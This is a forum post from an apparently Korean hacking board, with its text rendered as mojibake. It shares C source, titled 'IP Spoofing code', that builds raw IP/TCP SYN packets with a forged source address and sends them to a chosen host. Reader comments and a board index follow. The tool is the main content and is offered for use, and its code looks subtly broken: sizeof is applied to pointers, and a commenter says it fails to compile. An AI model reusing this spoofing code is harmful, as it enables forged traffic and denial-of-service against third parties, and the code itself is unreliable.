1586, 28/80 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   Nuker
   IP Spoofing ÄÚµå

http://www.hackerschool.org/HS_Boards/zboard.php?desc=asc&no=905 [º¹»ç]


Á¦°¡ Á¶±Ý °³Á¶ÇØ ºÃ³×¿ä
¾µ¸¸ ÇØ¿ä ^^

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>

unsigned short ip_cksum(unsigned char * buff, int len)
{
        unsigned long sum = 0;
        if (len > 3)
        {
                __asm__("clc\n"
                "1:\t"
                "lodsl\n\t"
                "adcl %%eax, %%ebx\n\t"
                "loop 1b\n\t"
                "adcl $0, %%ebx\n\t"
                "movl %%ebx, %%eax\n\t"
                "shrl $16, %%eax\n\t"
                "addw %%ax, %%bx\n\t"
                "adcw $0, %%bx"
                : "=b" (sum) , "=S" (buff)
                : "0" (sum), "c" (len >> 2) ,"1" (buff)
                : "ax", "cx", "si", "bx" );
        }
        if (len & 2)
        {
                __asm__("lodsw\n\t"
                "addw %%ax, %%bx\n\t"
                "adcw $0, %%bx"
                : "=b" (sum), "=S" (buff)
                : "0" (sum), "1" (buff)
                : "bx", "ax", "si");
        }
        if (len & 1)
        {
                __asm__("lodsb\n\t"
                "movb $0, %%ah\n\t"
                "addw %%ax, %%bx\n\t"
                "adcw $0, %%bx"
                : "=b" (sum), "=S" (buff)
                : "0" (sum), "1" (buff)
                : "bx", "ax", "si");
        }
        sum =~sum;
        return(sum & 0xffff);
}

unsigned short tcp_check(struct tcphdr *th, int len,
          unsigned long saddr, unsigned long daddr)
{
        unsigned long sum;
        __asm__("
            addl %%ecx, %%ebx
            adcl %%edx, %%ebx
            adcl $0, %%ebx
            "
        : "=b"(sum)
        : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
        : "bx", "cx", "dx" );
        __asm__("
            movl %%ecx, %%edx
            cld
            cmpl $32, %%ecx
            jb 2f
            shrl $5, %%ecx
            clc
1:          lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            loop 1b
            adcl $0, %%ebx
            movl %%edx, %%ecx
2:          andl $28, %%ecx
            je 4f
            shrl $2, %%ecx
            clc
3:          lodsl
            adcl %%eax, %%ebx
            loop 3b
            adcl $0, %%ebx
4:          movl $0, %%eax
            testw $2, %%dx
            je 5f
            lodsw
            addl %%eax, %%ebx
            adcl $0, %%ebx
            movw $0, %%ax
5:          test $1, %%edx
            je 6f
            lodsb
            addl %%eax, %%ebx
            adcl $0, %%ebx
6:          movl %%ebx, %%eax
            shrl $16, %%eax
            addw %%ax, %%bx
            adcw $0, %%bx
            "
        : "=b"(sum)
        : "0"(sum), "c"(len), "S"(th)
        : "ax", "bx", "cx", "dx", "si" );

        /* We only want the bottom 16 bits, but we never cleared the top 16. */

        return((~sum) & 0xffff);
}

void resolve_address(struct sockaddr *addr, char *hostname, u_short port) {
struct sockaddr_in *address;
struct hostent *host;

address = (struct sockaddr_in *)addr;
(void) bzero((char *)address, sizeof(struct sockaddr_in));
address->sin_family = AF_INET;
address->sin_port = htons(port);
address->sin_addr.s_addr = inet_addr(hostname);
if ((int)address->sin_addr.s_addr == -1) {
  host = gethostbyname(hostname);
  if (host) {
   bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length);
  }
  else {
   puts("Couldn't resolve address!!!");
   exit(-1);
  }
}
}

char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl,
        u_short id, char *data, int data_len)
{
char *ip_datagram;
struct iphdr *ip_header;
ip_datagram = malloc(sizeof(struct iphdr) + data_len);
ip_header = ip_datagram;
ip_header->version   = 4;
ip_header->tos       = 0;
ip_header->frag_off  = 0;
ip_header->check     = 0;
ip_header->saddr     = source;
ip_header->daddr     = dest;
ip_header->protocol  = protocol;
ip_header->ttl       = ttl;
ip_header->id        = htons(id);
ip_header->ihl       = 5;
ip_header->tot_len   = htons(sizeof(struct iphdr) + data_len);
ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr)));
bcopy(data,ip_datagram+sizeof(struct iphdr),data_len);
return ip_datagram;
}

char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport,
        u_long seqnum, u_long acknum, u_char flags, char *data, int datalen)
{
char *wewt;
struct tcphdr *tcp_header;
wewt = malloc(sizeof(struct tcphdr) + datalen);
tcp_header = wewt;
tcp_header->th_sport = sport;
tcp_header->th_dport = dport;
tcp_header->th_seq   = seqnum;
tcp_header->th_ack   = acknum;
tcp_header->th_flags = flags;
tcp_header->th_sum   = 0;
tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr),
    source, dest));
bcopy(data,wewt+sizeof(struct tcphdr),datalen);
return wewt;
}

void sendpack(char *fromhost, int fromport, char *tohost, int toport) {
char *packet;
char *tcppacket;
char *sendme;
static struct sockaddr_in local, remote;
static int sock = 0;
if (!sock) {
   resolve_address((struct sockaddr *)&local, fromhost, fromport);
   resolve_address((struct sockaddr *)&remote, tohost, toport);
   sock = socket(AF_INET, SOCK_RAW, 255);
   if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  }
   tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr,
        local.sin_port, remote.sin_port, 795930600, 0, TH_SYN,
        NULL, 0);
   packet = create_ip(&local.sin_addr, &remote.sin_addr,
        6, 24, 4, NULL, 0);
   sendme = (struct iphdr *)packet;
   bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket));
   printf("the ip header is %d bytes long.\n", sizeof(struct iphdr));
   printf("the tcp header is %d bytes long.\n", sizeof(struct tcphdr));
   printf("the ip packet is %d bytes long.\n", sizeof(packet));
   printf("the tcp packet is %d bytes long.\n", sizeof(tcppacket));
   printf("the final packet is %d bytes long.\n", sizeof(sendme));
  {
   int result;

   result = sendto(sock, packet, sizeof(packet), 0,
        (struct sockaddr *)&remote, sizeof(remote));
   if (result != sizeof(packet)) { perror("sending packet"); }
  }
}

main(int argc, char **argv) {
if (argc!=5) {
printf("usage: %s <from host> <from port> <to host> <to port>\n", argv[0]);
exit(-1);
}
printf("forging packet from %s.%d to %s.%d\n", argv[1], atoi(argv[2]),
        argv[3], atoi(argv[4]));
sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
}


  Hit : 9227     Date : 2007/12/27 11:16



    
vsKernel ÁÖ¼®À¸·Î ¼³¸í ÇØÁÖ½Ã¸é °¨»çÇϰڳ׿ä.,. ¤¾ 2007/12/27  
vsKernel ÁøÂ¥ ±×·¯³×..¤»¤»¤»¤» spoofin ÀÌ ¹¹Áö... ¤»¤»¤» g¾îµð°¬Áö..¤»¤» 2007/12/27
Nuker ¤¾ g¸¦ ¾È›§³×¿© ¤¾ 2007/12/28  
.. <a href=http://www.hoobie.net/security/exploits/hacking/ipspoof.c target=_blank>http://www.hoobie.net/security/exploits/hacking/ipspoof.c</a> ÀÌ ¼Ò½º¿Í Â÷ÀÌÁ¡ÀÌ ¹º°¡¿ä? ¼öÁ¤Çߴٸ鼭..? 2008/01/10
Nuker ¼Óµµ°¡ ºü¸£°Ô ÇÏ·Áµµ ¸î°³ÀÇ º¯¼ö¸¦ »èÁ¦ÇÏ¿´½À´Ï´Ù 2008/01/11  
¸¶À̵帲ÇØÄ¿ ÈÄ´ú´ú...... Á¦°¡ À̶§±îÁö º»°ÍÁß¿¡ Á¦ÀÏ º¹Àâ... 2008/04/10  
¸¶À̵帲ÇØÄ¿ ÄÄÆÄÀÏÀÌ ¾ÈµÇ³×¿ä.... Á¦°¡ À߸øÇÑ°ÇÁö ¸ð¸£°Ú³×¿ä 2008/04/10  
ÃÖ¼±È£ g°¡¾ø¾î¼­.. °³Á¶ÇÞ´Ù´Â..? 2008/12/07  
1046   Heap Overflows For Humans 101     cdpython
10/23 9452
1045   How to hack ¹ø¿ª ÇغýÀ´Ï´Ù.[6]     o¿£¿äo
01/17 6856
1044   HTML ½¬¿î °­ÀÇ,[2]     xodnr631
02/17 7246
1043   HTMLÀÇ ±âº» »ó½Äµé... ±×¸®°í Ç¥ÁØ[2]     commio
10/16 7289
1042   html¿Ípython°­ÀÇ[2]     hktaehyung
05/13 5620
1041   I. ¸®´ª½º ±¸Á¶ ¹× ÀÏ¹Ý ¸í·É¾î.     ±«µµjs
07/04 13010
1040   II. ÀϹݸí·É¾î2.     ±«µµjs
07/04 10558
1039   IMAP, POP3 ¼Ò½º·Î ¼³Ä¡Çϱâ[3]     h41d35
09/12 11095
1038   int main(int argc, char argv[], char envp[])     craft
01/21 8322
1037   int ¿Í unsigned int ¿¡¼­...[4]     hipro
12/04 5677
1036   INZERO heckers´ëȸ¿¡ ±Ã±ÝÇؼ­¿ä[4]     gkswls123
08/23 5838
  IP Spoofing ÄÚµå[8]     Nuker
12/27 9226
1034   IP ¿Í PORT[8]     ¼Û½Ã
11/02 10236
1033   iPhone SDK¸¦ ÀÌ¿ëÇÑ °³¹ßÀÚ ´Ü±â°úÁ¤[2]     pshshs
02/17 6212
1032   it¹ðÅ© Çпø¾î¶²°¡¿ä?? ÁøÁöÇÏ°ÔÁú¹®ÇÕ´Ï´Ù..[2]     dnflxoghks
11/08 8480
1031   ITºÐ¾ß·Î Áø·Î°í¹ÎÀ̳ª,Ãë¾÷,ÀÌÁ÷°í¹ÎÀ¸·Î ±Ã±ÝÇÑÁ¡µéÀÌ ¸¹À¸½ÃÁÒ~?     koreais0
08/08 5623
1030   K-Shield ÁִϾî 5±â ¸ðÁý     lrtk
06/17 4394
1029   LANÄ«µå°¡ ÀνÄÀÌ ¾È µÈ´Ù¸é     6Moderato
09/02 7736
1028   lcd7132´Ô [1]     rabbitlycat
05/08 5335
1027   letmein ´Ô ÇØÄ· Àü±îÁö Ç®¸é µÈ´Ù°í Çß´ø ¹®Á¦¿ä     blueh4g
02/03 7191
[1]..[21][22][23][24][25][26][27] 28 [29][30]..[80]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org